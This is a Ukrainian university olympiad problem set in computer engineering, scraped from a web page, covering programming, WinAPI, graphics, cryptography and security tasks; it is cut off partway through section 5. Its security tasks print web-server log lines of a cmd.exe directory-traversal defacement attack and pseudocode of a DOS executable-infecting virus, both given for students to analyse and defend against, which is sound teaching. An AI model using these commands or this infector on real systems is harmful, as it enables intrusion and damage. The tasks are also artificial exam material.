Всеукраїнська студентська олімпіада

Вид материалаДокументы

Содержание


УВАГА! Суворо дотримуйтесь форматів файлів і схеми їх іменування. Недотримання цих правил може призвести до повного або частково
3 Комп’ютерна графіка
Друзі+Mої, +ви+тепер+повністю+ належите+мені.+Я+тут,+а+де+ваш+ захист?+А+нема+його+ більше! Хто+мені+не+вірить, +той+може+переві
4.2 Алгоритм RSA
4.3 Подвійний квадрат
Exe_name_offset = $a3e; {
5 Прикладна теорія цифрових автоматів
Треба отримати та надати
Подобный материал:

Всеукраїнська студентська олімпіада

за напрямом

«Комп’ютерна інженерія»

Спонсор – p.ua zntu.edu.ua


Максимальна кількість балів за кожну дисципліну 60.

Файли відповідей називати за номером завдання (наприклад: для завдання 1.1 файл розв’язку повинен називатися 1-1.cpp, для завдання 4.1 файл розв’язку повинен називатися 4-1.doc). Якщо розв’язок на завдання складається з декількох файлів, тоді їх потрібно додати до архіву (наприклад: для завдання 3.1 файл розв’язку повинен називатися 3-1.rar).


1 Програмування (мови C/С++)


Для перевірки своїх рішень на робочих місцях надані наступні компілятори:

– Borland C++ 3.1 (з пакетом TASM);

– Visual C++ 6.0;

– GNU C/C++.


Надсилаючи розв’язок необхідно зазначити компілятор (зі списку), який потрібно використовувати при перевірці. Компіляція буде виконуватись із використанням опцій компілятора по замовчуванню.


УВАГА! Суворо дотримуйтесь форматів файлів і схеми їх іменування. Недотримання цих правил може призвести до повного або часткового незарахування розв’язку.


1.1 (Максимальна оцінка – 10 балів)

Розглянемо послідовність перетворень натурального числа. Початковим є число, що містить у своєму десятковому запису не більше 4 цифр.

Перетворення задано наступною послідовністю дій. У десятковому запису вихідного числа послідовність однакових цифр, що йдуть одна за одною, замінюється на послідовність, що є десятковим записом кількості десяткових розрядів у послідовності однакових цифр, та цифру, з якої складається вказана послідовність однакових цифр. Якщо цифра не повторюється, то вона вважається послідовністю однакових цифр із довжиною в один десятковий розряд.

Приклад декількох послідовних перетворень:

108 111018 31101118 1321103118

Необхідно скласти програму, що виконує N послідовних перетворень початкового числа.


У першому рядку файлу 1-1.in міститься число N (1<=N<=25). У наступному рядку міститься початкове натуральне число, що містить у своєму десятковому запису не більше 4 цифр.

До файлу 1-1.out потрібно записати результат N перетворень вихідного натурального числа.


Обмеження на час виконання програмою одного тесту – 1 сек.


Приклад:


файл “1-1.in”

файл “1-1.out”

3

108

1321103118



1.2 (Максимальна оцінка – 15 балів)

Нехай A – масив, що складається з N елементів A1, ..., AN. Позначимо його максимальне і мінімальне значення як max(A) та min(A), відповідно. Обчислимо суму елементів S, тобто S = A1 + A2 + ... + AN. Зробимо заміну кожного елементу масиву на різницю S і цього елемента, тобто Ai := S   Ai, 1 < i < N. Таке перетворення масиву A назвемо операцією OBFUSCATE.

Створіть програму, яка з масиву B, що був отриманий у результаті K кратного застосування операції OBFUSCATE до деякого масиву A, обчислить різницю max(A)-min(A).


Перший рядок файлу 1-2.in містить цілі числа N і K, де N - кількість елементів масиву B (2 < N < 10000), а K - кількість застосувань операції OBFUSCATE до початкового масиву A, 1 < K < 100. Другий рядок файлу містить N елементів масиву B. Елементи масиву B - цілі числа, що належать до діапазону від -2 000 000 000 до 2 000 000 000.

Єдиний рядок файлу 1-2.out повинен містити ціле число, що є різницею max(A) і min(A).


Обмеження на час виконання програмою одного тесту – 1 сек.


Приклад:


файл “1-2.in”

файл “1-2.out”

4 2

45 52 47 46

7



1.3 (Максимальна оцінка – 15 балів)

Написати програму, що допоможе архітектору визначити силует міста. Силуети усіх будівель є прямокутними, фундаменти усіх будівель знаходяться на одній висоті. Силует міста є двовимірним. Будівлі задані трійками чисел (Li Hi Ri), де Li і Ri – ліва і права координати силуету будівлі, а Hi – висота будівлі.

Наприклад, на наведеному малюнку будівлям відповідають трійки чисел:

(1,11,5), (2,6,7), (3,13,9), (12,7,16), (14,3,25), (19,18,22), (23,13,29), (24,4,28),

а силуету міста відповідає наступна послідовність:

(1, 11, 3, 13, 9, 0, 12, 7, 16, 3, 19, 18, 22, 3, 23, 13, 29, 0)


Вихідний файл 1-3.in містить послідовність трійок чисел, що задають будівлі у місті. Всі координати є цілими і додатними числами, що не перевищують 10000. У файлі буде не менше однієї і не більше 5000 трійок чисел. Кожна трійка чисел починається з нового рядка. У межах одного рядка числа відокремлені довільною кількістю пропусків і символів табуляції.

Вихідні дані впорядковані за зростанням лівої координати будівлі. Наприклад, будівля із найменшою лівою координатою буде зазначена першою.

Послідовність, що відповідає силуету міста, необхідно вивести до файлу 1 3.out. Кожній зміні висоти лінії силуету відповідають два числа: координата, починаючи з якої висота силуету змінилася, і власне висота лінії силуету. Останнім числом у файлі з результатом має бути число 0. Всі числа послідовності необхідно розташувати на одному рядку.





Обмеження на час виконання програмою одного тесту – 1 сек.


Приклад:


файл “1-3.in”

файл “1-3.out”

1 11 5

2 6 7

3 13 9

12 7 16

14 3 25

19 18 22

23 13 29

24 4 28

1 11 3 13 9 0 12 7 16 3 19 18 22 3 23 13 29 0



1.4 (Максимальна оцінка – 20 балів)

Необхідно обчислити кількість N-значних чисел у системі числення з основою K таких, що їх запис не містить двох нулів, що йдуть один за одним. Обмеження: 2<=K<=10; 2<=N; 4<=N+K<=180.

Вихідний файл 1-4.in містить числа N і K у десятковому запису. Числа відокремлені пропуском або символом нового рядка.

У файл 1-4.out необхідно вивести шукану кількість чисел у десятковому запису.


Обмеження на час виконання програмою одного тесту – 2 сек.


Приклад:


файл “1-4.in”

файл “1-4.out”

2

10

90


2 Системне програмування

2.1 (Максимальна оцінка – 15 балів) (WinAPI, GDI, C/C++)

Написати програму, після запуску якої, будь-яке вікно, над яким знаходиться курсор миші, стає обрамованим прямокутником світло-зеленого кольору (межі вікна виділити).


2.2 (Максимальна оцінка – 10 балів) (WinAPI, C/C++)

Написати програму, головне вікно якої має вигляд емблеми «Олімпіади з комп’ютерної інженерії». У верхньому краю емблеми вікно повинне мати панель Заголовку та Меню. Панель Заголовку має складатися з кнопок мінімізації та закриття. Меню програми ­– пункт «About», за допомогою якого можна дізнатися назву команди виконавця.





2.3 (Максимальна оцінка – 20 балів) (WinAPI, C/C++)

Створити програму, що малює коло з початковим радіусом 50 пікселів у центрі “Робочого столу” системи Windows, при натисканні і утриманні комбінації «Shift + ↑» збільшувати радіус кола, при натисканні і утриманні комбінації «Shift + ↓» зменшувати радіус кола, а якщо натиснуто кнопки стрілок (керування курсором) – то переміщувати коло на деяку величину вверх, вниз, вліво або вправо. Вийти з програми при натисканні «ESC».


2.4 (Максимальна оцінка – 15 балів) (WinAPI, C/C++)

Відомо, що комп’ютер було інфіковано «вірусом», який використовує уразливість Інтернет-бравзера та виконується в каталозі, який вказано в змінній оточення %ТЕМР%. Написати програму, що відображає перелік процесів у системі, що виконуються з цього каталогу.

3 Комп’ютерна графіка

Файли завдань знаходяться в електронній системі “Moodle”.


3.1 (Максимальна оцінка – 10 балів)


Тема. Тонова, кольорова корекція, ретуш та фотомонтаж графічних зображень.

Завдання. Необхідно з наданих фотографій отримати ті, що надані як зразки.
Вихідні дані.
  • Вхідні файли зображень в форматі JPG.
  • Вихідні файли зображень-зразків в форматі JPG.

Вимоги
  • Робота виконується в растровому графічному редакторі Adobe Photoshop.

Результат
  • Файли зображень в форматі JPG, архівовані в один файл формату RAR.



3.2 (Максимальна оцінка – 10 балів)


Тема. Створення ілюстрації в векторному графічному редакторі.

Завдання. Необхідно створити у векторному вигляді зображення логотипу у відповідності до виданого в растровому вигляді завдання.
Вихідні дані.
  • Вхідний файл зображень в растровому форматі JPG.

Вимоги
  • Робота виконується у векторному графічному редакторі Adobe Illustrator.
  • Об’єкти вихідного векторного зображення повинні мати оптимальну кількість вузлів.

Результат
  • Файл зображень в векторному форматі AI.



3.3 (Максимальна оцінка – 20 балів)


Тема. Створення анімації за допомогою Flash-технології.

Завдання. Необхідно створити файл анімації, відповідно до виданого завдання.
Вихідні дані.
  • Файл анімації у форматі SWF.

Вимоги
  • Робота виконується в графічному редакторі Macromedia Flash.

Результат
  • Файл анімації в форматі FLA.



3.4 (Максимальна оцінка – 20 балів)


Тема. Створення інтерактивної анімації за допомогою Flash-технології.

Завдання. Необхідно створити файл анімації, відповідно до виданого завдання.
Вихідні дані.
  • Файл анімації у форматі SWF.

Вимоги
  • Робота виконується в графічному редакторі Macromedia Flash.

Результат
  • Файл анімації в форматі FLA.



3.1

Вихідні зображення Результат
















3.2


Вихідне зображення




3.3


Вихідний файл анімації




3.4


Вихідний файл анімації




4 Захист інформації

Файли результатів відправляти в форматі Microsoft Word.


4.1 Атака (Максимальна оцінка – 15 балів)

Проаналізувати атаку на Web-сервер невеликої коммерційної установи, в ході якої сайт фірми замінили сторінкою з повідомленням від зловмисника. Хід атаки зафіксовано в наступних записах лог-файла Web-сервера:


03/03/2001 4:01 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:\ 200 730 484 3 1 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:\inetpub\ 200 7 49 492 32 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows +98)

03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../,./winnt/system32/cmd.exe /c+dir+c:\inetpub\wwwroot 200 1124 499 47 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0; +Windows+98)

03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /'mmc.gif - 404 3387 440 0 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

03/03/2001 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /index.php - 200 228 484 0 www.victim.com Mozilla/4.0+(compat ible;+MSIE+5.0;+Windows+98) m.com/buzzxyz.php

03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+rename+d:\wwwroot\det our.php+detour.php.old 502 355 522 31 www.victim.com Mozilla/4.0+ (compatible;+MSIE+5.0;+Windows+9 8)

03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+md+c:\ArA\ 502 355 48 8 31 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)

03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+copy+c:\winnt\system3 2\cmd.Exe+c:\ArA\cmdl.exe 502 382 524 125 www.victim.com Mozilla/4. 0+(compatible;+MSIE+5.0;+Windows+98)

03/03/2001 4:07 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../ArA/cmdl.exe /c+echo+HSKK/title> <center<R»<Hlxb><u>* * * *</u>SCRIPT+KIDZ, INC<u>* * * *</ux/hlxbr> <h2>Друзі+Mої, +ви+тепер+повністю+ належите+мені.+Я+тут,+а+де+ваш+ захист?+А+нема+його+ більше! Хто+мені+не+вірить, +той+може+перевірити+захист+ системи.<b<Rr»</h2>"+»+c:\ArA\default.htm 502 355 763 31 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98)<br /> <br />03/03/2001 4:08 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../ArA/cmdl.exe /c+rename+d:\wwwroot\index.php+index.php.old 502 355 511 16 www.victim.com Mozilla/4.0+(compatible; +MSIE+5.0;+Windows+98)<br /> <br />03/03/2001 4:10 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80GET /scripts/../../ArA/cmdl.exe /c+copy+c:\ArA\default.htm+d:\wwwr oot\index.php 502 382 514 31 www.victim.com Mozilla/4.0+(compatibl e;+MSIE+5.0;+Windows+98)<br /> <br />03/03/2001 4:11 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80<br /> <br />GET /index.php - 200 276 414 15 www.victim.com Mozilla/4.0+(compatible ? +MSIE+5.0;+Windows+98)<br /><br /><br />Визначити:<br /> <br />1. Які слабкі місця захисту використав зловмисник для зламу Web-сервера?<br /> <br />2. Як йому вдалося замісти сліди?<br /> <br />Запропонувати методи захисту від повторення подібної атаки.<br /><br /></td> </tr> <tr> <td width=624 valign=top> <br /><br /> <br /> </td> </tr> </table> <br /><b> 4.2 Алгоритм RSA</b> (Максимальна оцінка – 20 балів)<br /><br /><table width=657 cellpadding=7 cellspacing=0> <col width=643> <tr> <td width=643 valign=top> <br /> По відкритому ключу (<img src="images/371375-nomer-47cbf21b.gif">, <img src="images/371375-nomer-m5dd4d358.gif">) = (2047, 179) алгоритму RSA знайдіть секретний ключ (<img src="images/371375-nomer-47cbf21b.gif">, <img src="images/371375-nomer-m5a62322.gif">). Визначте максимально можливий бітовий розмір блоку відкритого тексту. <br /><br /></td> </tr> <tr> <td width=643 valign=top> <br /><br /> <br /> </td> </tr> </table> <br /><br /><br /><b> 4.3 Подвійний квадрат</b> (Максимальна оцінка – 10 балів)<br /> <table width=657 cellpadding=7 cellspacing=0> <col width=643> <tr> <td width=643 valign=top> <br /><br />Розшифрувати повідомлення<br /> <br /> <table dir="ltr" width=100% cellpadding=7 cellspacing=0> <col width=19*> <col width=18*> <col width=17*> <col width=18*> <col width=21*> <col width=17*> <col width=18*> <col width=17*> <col width=17*> <col width=22*> <col width=19*> <col width=17*> <col width=18*> <col width=17*> <tr valign=top> <td width=7%> <br />Н<br /> </td> <td width=7%> <br />С<br /> </td> <td width=7%> <br />Ь<br /> </td> <td width=7%> <br />В<br /> </td> <td width=8%> <br />Ж <br /> </td> <td width=7%> <br />Б<br /> </td> <td width=7%> <br />Т<br /> </td> <td width=7%> <br />Ь<br /> </td> <td width=7%> <br />З<br /> </td> <td width=9%> <br />Щ<br /> </td> <td width=7%> <br />Х<br /> </td> <td width=7%> <br />Б<br /> </td> <td width=7%> <br />Т<br /> </td> <td width=7%> <br />,<br /> </td> </tr> </table> <br /><br /><br />яке було зашифроване за допомогою «подвійного квадрату» Уітстона<br /><br /><CENTER> <table width=331 cellpadding=2 cellspacing=0> <col width=23> <col width=22> <col width=20> <col width=25> <col width=22> <col width=62> <col width=21> <col width=25> <col width=20> <col width=22> <col width=22> <tr valign=top> <td width=23 height=18 bgcolor="#ffffff"> <br /><b>Ж</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Щ</b><br /> </td> <td width=20 bgcolor="#ffffff"> <br /><b>Н</b><br /> </td> <td width=25 bgcolor="#ffffff"> <br /><b>Ю</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Р</b><br /> </td> <td width=62 bgcolor="#ffffff"> <br /><br /> <br /> </td> <td width=21 bgcolor="#ffffff"> <br /><b>І</b><br /> </td> <td width=25 bgcolor="#ffffff"> <br /><b>Ч</b><br /> </td> <td width=20 bgcolor="#ffffff"> <br /><b>Г</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Я</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Т</b><br /> </td> </tr> <tr valign=top> <td width=23 height=19 bgcolor="#ffffff"> <br /><b>И</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Т</b><br /> </td> <td width=20 bgcolor="#ffffff"> <br /><b>Ь</b><br /> </td> <td width=25 bgcolor="#ffffff"> <br /><b>Ц</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Б</b><br /> </td> <td width=62 bgcolor="#ffffff"> <br /><br /> <br /> </td> <td width=21 bgcolor="#ffffff"> <br /><b>,</b><br /> </td> <td width=25 bgcolor="#ffffff"> <br /><b>Ж</b><br /> </td> <td width=20 bgcolor="#ffffff"> <br /><b>Ь</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>М</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>О</b><br /> </td> </tr> <tr valign=top> <td width=23 height=19 bgcolor="#ffffff"> <br /><b>Я</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>М</b><br /> </td> <td width=20 bgcolor="#ffffff"> <br /><b>Е</b><br /> </td> <td width=25 bgcolor="#ffffff"> <br /><b>.</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>С</b><br /> </td> <td width=62 bgcolor="#ffffff"> <br /><br /> <br /> </td> <td width=21 bgcolor="#ffffff"> <br /><b>З</b><br /> </td> <td width=25 bgcolor="#ffffff"> <br /><b>Ю</b><br /> </td> <td width=20 bgcolor="#ffffff"> <br /><b>Р</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>В</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Щ</b><br /> </td> </tr> <tr valign=top> <td width=23 height=19 bgcolor="#ffffff"> <br /><b>В</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Є</b><br /> </td> <td width=20 bgcolor="#ffffff"> <br /><b>П</b><br /> </td> <td width=25 bgcolor="#ffffff"> <br /><b>Ч</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><br /> <br /> </td> <td width=62 bgcolor="#ffffff"> <br /><br /> <br /> </td> <td width=21 bgcolor="#ffffff"> <br /><b>Ц</b><br /> </td> <td width=25 bgcolor="#ffffff"> <br /><b>:</b><br /> </td> <td width=20 bgcolor="#ffffff"> <br /><b>П</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Е</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Л</b><br /> </td> </tr> <tr valign=top> <td width=23 height=19 bgcolor="#ffffff"> <br /><b>:</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Д</b><br /> </td> <td width=20 bgcolor="#ffffff"> <br /><b>У</b><br /> </td> <td width=25 bgcolor="#ffffff"> <br /><b>О</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>К</b><br /> </td> <td width=62 bgcolor="#ffffff"> <br /><br /> <br /> </td> <td width=21 bgcolor="#ffffff"> <br /><b>Ї</b><br /> </td> <td width=25 bgcolor="#ffffff"> <br /><b>А</b><br /> </td> <td width=20 bgcolor="#ffffff"> <br /><b>Н</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>.</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Х</b><br /> </td> </tr> <tr valign=top> <td width=23 height=19 bgcolor="#ffffff"> <br /><b>З</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>І</b><br /> </td> <td width=20 bgcolor="#ffffff"> <br /><b>Ф</b><br /> </td> <td width=25 bgcolor="#ffffff"> <br /><b>Г</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Ш</b><br /> </td> <td width=62 bgcolor="#ffffff"> <br /><br /> <br /> </td> <td width=21 bgcolor="#ffffff"> <br /><b>И</b><br /> </td> <td width=25 bgcolor="#ffffff"> <br /><b>К</b><br /> </td> <td width=20 bgcolor="#ffffff"> <br /><b>С</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Ш</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Д</b><br /> </td> </tr> <tr valign=top> <td width=23 height=18 bgcolor="#ffffff"> <br /><b>Х</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>А</b><br /> </td> <td width=20 bgcolor="#ffffff"> <br /><b>,</b><br /> </td> <td width=25 bgcolor="#ffffff"> <br /><b>Л</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Ї</b><br /> </td> <td width=62 bgcolor="#ffffff"> <br /><br /> <br /> </td> <td width=21 bgcolor="#ffffff"> <br /><b>Б</b><br /> </td> <td width=25 bgcolor="#ffffff"> <br /><b>Ф</b><br /> </td> <td width=20 bgcolor="#ffffff"> <br /><b>У</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><b>Є</b><br /> </td> <td width=22 bgcolor="#ffffff"> <br /><br /> <br /> </td> </tr> </table> </CENTER> <br /><br /><br /></td> </tr> <tr> <td width=643 valign=top> <br /><br /> <br /> </td> </tr> </table> <br /><b>4.4 Вірус </b>(Максимальна оцінка – 15 балів)<br /> <table width=657 cellpadding=7 cellspacing=0> <col width=643> <tr> <td width=643 height=12 valign=top> <br /> <br /> <br /> </td> </tr> <tr> <td width=643 valign=top> <br /> Проаналізуйте текст шкідливої програми в псевдокодах, визначите принцип її дії та можливу шкоду. Запропонуйте методи захисту від таких програм.<br /><br /><br />{***************************************************************************}<br /> <br />константи<br /><br /><br /> EXE_NAME_OFFSET = $A3E; {<br /> <br />PASSWORD_OFFSET = EXE_NAME_OFFSET+$29; <br /><br /><br />типи<br /><br /><br />Bytefile = file of byte;<br /><br /><br />Charfile = file of char;<br /><br /><br />змінні<br /><br /><br />VIRUS_SIZE: longint;<br /> <br />{***************************************************************************}<br /> <br />процедура ResetFile(var file_handle:Bytefile; file_name:string);<br /><br /><br />почати<br /><br /><br />присвоїти(file_handle,file_name);<br /><br /><br />скинути(file_handle);<br /><br /><br />якщо IOResult<>0 то почати написати('file "'); написати(file_name);<br /><br /><br />написати('" was not open.'); прочитати; почекати(1); кінець;<br /><br /><br />кінець;<br /> <br />{***************************************************************************}<br /> <br />процедура ResetCharFile(var file_handle:Charfile; file_name:string);<br /><br /><br />почати <br /><br /><br />присвоїти(file_handle,file_name);<br /><br /><br />скинути(file_handle);<br /><br />якщо IOResult<>0 то почати написати('file "'); написати(file_name);<br /><br /><br />написати('" was not open.'); прочитати; почекати(1); кінець;<br /><br /><br />кінець;<br /> <br />{***************************************************************************}<br /> <br />процедура MoveBytes(var source_file, dest_file: Bytefile;<br /><br /><br />pos1, pos2, amount: longint);<br /><br /><br />змінні <br /><br /><br />i: integer;<br /><br /><br />Buffer: byte;<br /><br /><br />почати <br /><br /><br />для i:=0 до amount-1 виконати<br /><br /><br />почати <br /><br /><br />пошук(source_file,pos1);<br /><br /><br />прочитати(source_file,Buffer);<br /><br /><br />pos1:=FilePos(source_file);<br /><br /><br />пошук(dest_file,pos2);<br /><br /><br />записати(dest_file,Buffer);<br /><br /><br />pos2:=FilePos(dest_file);<br /><br /><br />кінець;<br /><br /><br />кінець;<br /> <br />{***************************************************************************}<br /> <br />процедура ImplantStringInExe(exe_name,impl_st: string; offset: longint);<br /><br /><br />змінні <br /><br /><br />exe_file: Charfile;<br /><br /><br />i: integer;<br /><br /><br />почати <br /><br /><br />ResetCharFile(exe_file,exe_name);<br /><br /><br />поиск(exe_file,offset);<br /><br /><br />для i:=0 до length(impl_st) виконати <br /><br /><br />записати(exe_file,impl_st[i]);<br /><br /><br />закрити(exe_file);<br /><br /><br />кінець;<br /> <br />{***************************************************************************}<br /> <br />процедура GenerateSecretKey(file_name: string; var secret_key: longint);<br /><br /><br />змінні <br /><br /><br />file_handle:Bytefile;<br /><br /><br />bt: byte;<br /><br /><br />i: integer;<br /><br /><br />почати <br /><br /><br />ResetFile(file_handle,file_name);<br /><br /><br />secret_key:=0;<br /><br /><br />для i:=0 до $1b виконати <br /><br /><br />почати <br /><br /><br />прочитати(file_handle,bt);<br /><br /><br />secret_key:=secret_key+bt;<br /><br /><br />кінець;<br /><br /><br />закрити(file_handle);<br /><br /><br />кінець;<br /> <br />{***************************************************************************}<br /> <br />процедура Shifrate(file_name:string; secret_key: longint);<br /><br /><br />змінні <br /><br /><br />i: integer;<br /><br /><br />io_file: Bytefile;<br /><br /><br />Buffer: byte;<br /><br /><br />pos: longint;<br /><br /><br />почати <br /><br /><br />ResetFile(io_file, file_name);<br /><br /><br />randseed:=secret_key;<br /><br /><br />пошук(io_file,VIRUS_SIZE);<br /><br /><br />для i:=VIRUS_SIZE до FileSize(io_file)-1 виконати <br /><br /><br />почати <br /><br /><br />pos:=FilePos(io_file);<br /><br /><br />прочитати(io_file,Buffer);<br /><br /><br />Buffer:=random(256) xor Buffer;<br /><br /><br />пошук(io_file,pos);<br /><br /><br />записати(io_file,Buffer);<br /><br /><br />кінець;<br /><br /><br />закрити(io_file);<br /><br /><br />кінець;<br /> <br />{***************************************************************************}<br /> <br />процедура ShifrateString(secret_key: longint; var st: string);<br /><br /><br />змінні <br /><br /><br />i: integer;<br /><br /><br />почати <br /><br /><br />randseed:=secret_key;<br /><br /><br />для i:=1 до length(st) виконати <br /><br /><br />st[i]:=chr(ord(st[i]) xor random(256));<br /><br /><br />кінець;<br /> <br />{***************************************************************************}<br /> <br /> змінні <br /><br /><br />exe_name,virpatch_name,password: string;<br /><br /><br />pos1,pos2,exe_size,limit,secret_key: longint;<br /><br /><br />exe_file, virpatch_file: Bytefile;<br /><br /><br />почати <br /><br /><br />написати('Input the name of a DOS exe-file in this folder');<br /><br /><br />написати('to be infected (with extention):');<br /><br /><br />прочитати(exe_name);<br /><br /><br />virpatch_name:='vpatch.vrs';<br /><br /><br />ResetFile(exe_file,exe_name);<br /><br /><br />ResetFile(virpatch_file,virpatch_name);<br /><br /><br />VIRUS_SIZE:=FileSize(virpatch_file);<br /><br /><br />pos1:=0;<br /><br /><br />exe_size:=FileSize(exe_file);<br /><br /><br />якщо exe_size>= VIRUS_SIZE<br /><br /><br />то begin pos2:=exe_size; limit:=VIRUS_SIZE; кінець <br /><br /><br />інакше begin pos2:=VIRUS_SIZE; limit:=exe_size; кінець;<br /><br /><br />MoveBytes(exe_file,exe_file,pos1, pos2, limit);<br /><br /><br />pos1:=0;<br /><br /><br />pos2:=0;<br /><br /><br />MoveBytes(virpatch_file,exe_file,pos1, pos2, VIRUS_SIZE);<br /><br /><br />закрити(exe_file);<br /><br /><br />закрити(virpatch_file);<br /><br /><br />GenerateSecretKey(virpatch_name,secret_key);<br /><br /><br />написати('Input the password (max. 32 characters): '); прочитати(password);<br /><br /><br />ShifrateString(secret_key,password);<br /><br /><br />ImplantStringInExe(exe_name,exe_name,EXE_NAME_OFFSET);<br /><br /><br />ImplantStringInExe(exe_name,password,PASSWORD_OFFSET);<br /><br /><br />Shifrate(exe_name,secret_key);<br /><br /><br />написати('The file "'); написати(exe_name); написати('" was successfully infected.');<br /><br /><br />написати('Press "Enter."');<br /><br /><br />прочитати;<br /><br /><br />кінець.<br /><br /></td> </tr> <tr> <td width=643 valign=top> <br /><br /> <br /> </td> </tr> </table> <br /><br /><b> 5 Прикладна теорія цифрових автоматів</b><br /><br /><br /><b>5.1 </b>(Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)<br /> <br /> <b>Створити цифровий пристрій </b>у вигляді комбінаційної схеми (КС) мажоритарного елементу, що реалізує функцію голосування (вибір з 3-х каналів входу F<sub>1</sub>, F<sub>2</sub> , F<sub>3 </sub>одного F на виході) із використанням додаткової КС, функція якої - вказати на номер помилкового каналу кодом А<sub>0</sub>А<sub>1</sub>. Рішення виконати в оболонці симулятора Electronics Workbench (EWB, free demoversion) на реальних або віртуальних схемах: мультиплексорах 2 в 1 і/або елементах базисів Пірса, Шефера, Жегалкіна, Буля. <br /> <br /> <b>Надано:</b><br /> <br /> 1<b>.</b> Таблицю істинності мажоритарного елементу «з 3-х в 1» із додатковими кодами А<sub>0</sub>А<sub>1 </sub>номеру каналу, що відмовив (код А<sub>1</sub>А<sub>0</sub>, що дорівнює 00, вказує на те, що всі три канали передали вірні біти);<br /> <ol start=2> <li> Симулятор Electronics Workbench (EWB, free demoversion) для побудови схеми створених КС (без перевірки їх функціонування).<br /> </ol> <table width=188 cellpadding=7 cellspacing=0> <col width=11> <col width=18> <col width=18> <col width=12> <col width=23> <col width=20> <tr valign=top> <td width=11> <br /><b>F</b><br /> </td> <td width=18> <br /><b>F<sub>2</sub></b><br /> </td> <td width=18> <br /><b>F<sub>3</sub></b><br /> </td> <td width=12> <br /><b>F</b><br /> </td> <td width=23> <br /><b>А<sub>0</sub></b><br /> </td> <td width=20> <br /><b>А<sub>1</sub></b><br /> </td> </tr> <tr valign=top> <td width=11 height=74> <br />0<br /> <br />0<br /> <br />0<br /> <br />0<br /> <br />1<br /> <br />1<br /> <br />1<br /> <br />1<br /> </td> <td width=18> <br /> 0<br /> <br /> 0<br /> <br /> 1<br /> <br /> 1<br /> <br /> 0<br /> <br /> 0<br /> <br /> 1<br /> <br />1<br /> </td> <td width=18> <br /> 0<br /> <br /> 1<br /> <br /> 0<br /> <br /> 1<br /> <br /> 0<br /> <br /> 1<br /> <br /> 0<br /> <br />1<br /> </td> <td width=12> <br />0<br /> <br />0<br /> <br />0<br /> <br />1<br /> <br />0<br /> <br />1<br /> <br />1<br /> <br />1<br /> </td> <td width=23> <br /> 0<br /> <br /> 1<br /> <br /> 1<br /> <br /> 0<br /> <br /> 0<br /> <br /> 1<br /> <br /> 1<br /> <br />0<br /> </td> <td width=20> <br /> 0<br /> <br /> 1 <br /> <br /> 0<br /> <br /> 1 <br /> <br /> 1<br /> <br /> 0 <br /> <br /> 1<br /> <br />0 <br /> </td> </tr> </table> <br /> <b>Треба отримати та надати:</b><br /> <ol> <li value=1><br /> Аналітичні та найбільш мінімізовані вирази для функцій F і А<sub>1</sub>А<sub>0</sub>;<br /> <li> Файл із побудованою схемою в оболонці EWB.<br /> </ol> <br /> <b>Критерії оцінювання:</b><br /> <ol> <li value=1><br /> Вірність отриманих аналітичних виразів для функцій F і А<sub>0</sub>А<sub>1</sub>;<br /> <li> Глибина та оригінальність підходів при мінімізації;<br /> <li> Найменша кількість елементів, використаних для побудови функцій і каскадів перетворення.<br /> </ol> <br /><br /><b>5.2</b> (Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)<br /> <br /> <b>Надано:</b> граф-схема 